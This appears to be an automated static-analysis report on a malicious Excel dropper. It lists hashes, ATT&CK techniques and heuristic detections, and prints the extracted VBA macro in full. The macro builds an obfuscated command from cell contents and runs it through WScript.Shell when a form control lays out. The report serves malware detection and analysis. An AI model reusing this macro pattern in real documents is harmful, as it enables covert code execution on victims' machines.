Xls.Dropper.Agent-7932475-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 d14aeb9c6dd8a542…

MALICIOUS

Office (OOXML)

49.6 KB Created: 2020-05-18 10:46:40 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 880af7d08e37e5b5b2e7adadfab720a2 SHA-1: 2419e36469c77806375c2a7206f272f34264cddd SHA-256: d14aeb9c6dd8a542ecf83a77009b37dc0121b78941679a2b3966966b84bfa5dd
240 Risk Score

Malware Insights

Xls.Dropper.Agent-7932475-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel document containing VBA macros that use WScript.Shell to execute obfuscated commands. The script attempts to construct a command string by concatenating parts of cell values and then executes it using `exec(@A1_1).readAll#()`. This behavior is indicative of a dropper or downloader, aiming to fetch and run a secondary malicious payload. The ClamAV detection name further supports this assessment.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-7932475-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7932475-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Next: On Error Resume Next
MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Next: On Error Resume Next
MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
End Sub

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1005 bytes
SHA-256: c6e65a5ed4adf04d60acf34ec2334be007f5fca2eea8f99f9ae343549e523876
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "PtintStarting, 1, 0, MSForms, Frame"
Private Sub PtintStarting_Layout()
For Each Ass In [A30:GQ2000].SpecialCells(xlConstants)
If Len(Ass) > 2.44 Then A1_1 = A1_1 & Mid(Ass.Text, 2, 1)
Next: On Error Resume Next
MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
End Sub
Sub EndPrinting()
ActiveWorkbook.Close False
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: e406788c4e9a00442506a824794c79b538842969ee6fadc9684356816107a36d
Detection
ClamAV: Xls.Dropper.Agent-7932475-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 1976 bytes
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d

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